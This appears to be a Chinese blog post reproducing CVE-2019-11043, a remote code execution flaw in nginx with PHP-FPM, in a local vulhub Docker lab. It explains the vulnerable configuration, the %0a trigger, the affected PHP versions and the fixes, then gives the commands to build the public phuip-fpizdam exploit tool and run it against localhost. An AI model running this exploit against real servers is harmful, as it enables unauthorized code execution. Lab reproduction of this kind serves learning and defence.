CVE-2019-11043漏洞复现

本文围绕CVE-2019-11043漏洞展开,介绍了该漏洞因nginx + php - fpm配置不当导致远程代码执行,影响PHP 7.0 - 7.3版本,给出修复建议。还讲述了在kali系统搭建docker、golang环境进行漏洞复现,以及利用工具攻击的过程,并提供参考链接。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CVE-2019-11043漏洞复现

0x01漏洞简介

nginx + php-fpm 配置不当,当nginx配置文件中有fastcgi_split_path_info,却没有if(!-f $document_root$fastcgi_script_name){return 404;}的时候就会导致远程代码执行。

向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass   php:9000;
...
}

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

影响版本:

  • PHP 7.0 版本
  • PHP 7.1 版本
  • PHP 7.2 版本
  • PHP 7.3 版本

修复建议:

  • PHP 7.1.X更新至7.1.33
  • PHP 7.2.X更新至7.2.24
  • PHP 7.3.X更新至7.3.11

0x02环境搭建

系统:kali

安装 docker、golang 环境

sudo apt-get install docker docker-compose
sudo apt install golang

搭建环境

git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 && docker-compose up -d

在这里插入图片描述

查看docker环境:

在这里插入图片描述

访问8080端口,成功如下

在这里插入图片描述

0x03漏洞利用

安装漏洞利用工具

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go env -w GOPROXY=https://goproxy.cn
go get -v && go build

默认使用的是proxy.golang.org,在国内无法访问,所以换了一个国内能访问的代理地址:https://goproxy.cn

在这里插入图片描述

工具攻击

./phuip-fpizdam http://127.0.0.1:8080/index.php

在这里插入图片描述

成功利用,参数名为a

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AAP46kuo-1610457931550)(C:\Users\10068\AppData\Roaming\Typora\typora-user-images\image-20201225021301464.png)]

0x04参考链接:

https://blog.csdn.net/weixin_43606134/article/details/107646467

https://blog.csdn.net/qq_43342566/article/details/102733144

http://blog.leanote.com/post/snowming/9da184ef24bd

https://blog.csdn.net/weixin_40412037/article/details/111225967

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值